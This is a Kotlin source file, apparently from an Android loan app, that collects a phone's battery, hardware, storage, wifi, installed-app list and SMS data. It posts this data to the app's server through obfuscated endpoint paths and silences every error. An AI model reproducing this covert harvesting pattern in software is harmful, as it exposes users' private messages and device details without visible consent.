package com.keur.money.data.dv

import com.keur.money.http.ApiService
import com.keur.money.http.ApiService.addCommonParams
import com.keur.money.http.HttpHelper
import com.keur.money.http.IHttpCallback
import org.json.JSONObject
import java.io.IOException
import java.util.concurrent.CompletableFuture

object DvDataManager {

    fun startSubmitData(typesArray: String) {
        try {
            val exc = DvDataMode()
            if (typesArray.isBlank()) return

            if (typesArray.contains("T2")) {//battery
                val path = "xavigoJLJtLxILBLNCT0nw"
                exc.getDvBatData(path) { params ->
                    // 尽量定义减少常量，用运行时变量值代替
                    val url = ApiService.getHttpUrl("/$path")
                    val result = listOf(
                        CompletableFuture.supplyAsync {
                            postKeurDvData(url, params)
                        }
                    )
                    CompletableFuture.allOf(*result.toTypedArray()).thenRun { }
                }
            }

            val taskList = mutableListOf<CompletableFuture<String>>()
            if (typesArray.contains("T1")) {//device
                val path = "Jzb3qHmsNAp8T5eZ8A1APQ"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvData(path)
                        postKeurDvData(url, params)
                    }
                )
            }

            if (typesArray.contains("T3")) {//hardware
                val path = "vbzjB9sF3Y05S0PheV0Icw"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvHdData(path)
                        postKeurDvData(url, params)
                    }
                )
            }

            if (typesArray.contains("T4")) {//storage
                val path = "zmxPyNOhFfwRWYroUIk7lw"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvStoData(path)
                        postKeurDvData(url, params)
                    }
                )
            }

            if (typesArray.contains("T5")) {//wifi
                val path = "SLAx9xIt54o1p76tddZolg"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvNetworkData(path)
                        postKeurDvData(url, params)
                    }
                )
            }

            if (typesArray.contains("T6")) {//appList
                val path = "XJWgriyM163z3SuFia6Zw"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvAplData(path)
                        postKeurDvData(url, params)
                    }
                )
            }

            if (typesArray.contains("T7")) {//sms
                val path = "YooHHSs8U4coYYjb1Gzw"
                taskList.add(
                    CompletableFuture.supplyAsync {
                        // 尽量定义减少常量，用运行时变量值代替
                        val url = ApiService.getHttpUrl("/$path")
                        val params = exc.getDvIMSData(path)
                        postKeurDvData(url, params)
                    }
                )
            }

            if (taskList.isEmpty()) return

            CompletableFuture.allOf(*taskList.toTypedArray()).thenRun { }
        } catch (e: Exception) {
            //
        }
    }

    /**
     * 提交设备数据
     */
    private fun postKeurDvData(toUrl: String, body: String?): String {
        try {
            if (toUrl.isBlank() or body.isNullOrBlank()) return toUrl
            body?.let {
                val params = JSONObject(it).addCommonParams()
                HttpHelper.postKeurAction(toUrl, params,object : IHttpCallback {
                    override fun onRequestSuccess(data: JSONObject) {
                    }
                    override fun onRequestError(error: JSONObject) {
                    }
                    override fun onRequestFinish() {
                    }
                })
            }
        } catch (e: IOException) {
            e.printStackTrace()
        }
        return toUrl
    }
}